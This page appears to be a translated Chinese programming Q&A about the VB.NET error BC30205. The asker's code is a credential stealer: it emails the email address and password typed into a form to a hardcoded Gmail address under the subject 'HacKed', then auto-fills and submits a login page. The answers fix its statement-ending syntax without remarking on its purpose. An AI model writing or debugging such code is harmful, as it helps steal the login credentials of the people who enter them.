Vb.net BC30205应为语句结尾
我的代码有问题。错误: 我的代码:Vb.net BC30205应为语句结尾,vb.net,Vb.net,我的代码有问题。错误: 我的代码: Imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click Dim HusMoh As New MailMessage Try HusMoh.From = New MailAddress("keyooff@gmail.com")
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim HusMoh As New MailMessage
Try
HusMoh.From = New MailAddress("keyooff@gmail.com")
HusMoh.To.Add("keyooff@gmail.com") HusMoh.Subject = "HacKed"
HusMoh.Body = "Email: " + TextBox1.Text + " Password: " + TextBox2.Text
Dim smtp As New SmtpClient("smtp.gmail.com")
smtp.Port = 587 smtp.EnableSsl = True
smtp.Credentials = New System.Net.NetworkCredential("Your Email", TextBox3.Text)
smtp.Send(HusMoh) WebBrowser1.Visible = True
WebBrowser1.Document.GetElementById("email").SetAttribute("value", TextBox1.Text)
WebBrowser1.Document.GetElementById("pass").SetAttribute("value", TextBox2.Text)
WebBrowser1.Document.GetElementById("loginbutton").InvokeMember("click")
Catch ex As Exception
End Tr
End Sub
End Class
错误:
预期报表结束
我的问题是什么?在VB中,语句的结尾用新行(最常见)或冒号(在大多数情况下可以接受,但不是所有情况下都可以接受)表示。看 您的代码有两个区域没有正确给出结束语句。以下是其中之一(如您收到的错误所示): 可以用冒号固定:
HusMoh.To.Add("keyooff@gmail.com") : HusMoh.Subject = "HacKed"
或者可以用一条新线来修复:
HusMoh.To.Add("keyooff@gmail.com")
HusMoh.Subject = "HacKed"
你来自Javascript吗?我这样问,因为它的自动分号插入功能可能会让你想知道为什么会这么大惊小怪
对于来自Python的人来说,他们会发现it和VB有类似的结束语句的方式:(1)两者都会将新行识别为语句的结尾;(2) 两者都有一个“行继续”字符(“\”vs“\”),需要在下一行继续一条语句;和(3)都允许通过括号()和大括号{}(以及Python中的括号[])进行隐含的行继续。您需要包括导致错误的代码行。另外,请在设置格式和标记问题时更加小心。VB.NET与VBA不同,不带换行符的代码不可读。您的代码显示一行:
End Tr
。如果确实存在(而不是复制粘贴错误),请将其编辑为End Try
。
HusMoh.To.Add("keyooff@gmail.com")
HusMoh.Subject = "HacKed"